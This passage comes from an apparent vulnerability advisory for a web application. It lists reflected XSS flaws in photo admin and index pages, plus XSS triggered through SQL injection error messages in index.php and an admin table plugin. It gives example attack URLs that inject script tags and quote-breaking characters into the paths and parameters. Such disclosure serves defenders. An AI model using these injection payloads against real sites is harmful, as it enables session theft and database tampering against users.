Linked XSS vulnerability found in /photo/admin.php and /photo/index.php attacker can inject XSS
script in URL

Example:

http://[server]/[installdir]/photo/admin.php/"><script>alert('DSECRG_XSS')</script>

http://[server]/[installdir]/photo/index.php/"><script>alert('DSECRG_XSS')</script>

3. Multiple SiXSS (XSS throught SQl Injection Error) vulnerabilities

3.1 Linked SiXSS vulnerability found in index.php, attacker can inject XSS code in SQL Error

Example:

http://[server]/[installdir]/index.php?query=asd&amount=0&blogid=1'<script>alert('DSecRG_XSS')</script>;&x=34&y=6

3.1 Linked SiXSS vulnerability found in /admin/plugins/table/index.php, attacker can inject XSS code in
SQL Error

It is also a SQL injection but because it is in admin panel it is not critical.

Example:

http://[server]/[installdir]/admin/plugins/table/index.php?action=edittemplate&field=title'<script>a=/DSecRG
XSS/%0d%0aalert(a.source)</script>&id=2&text=0
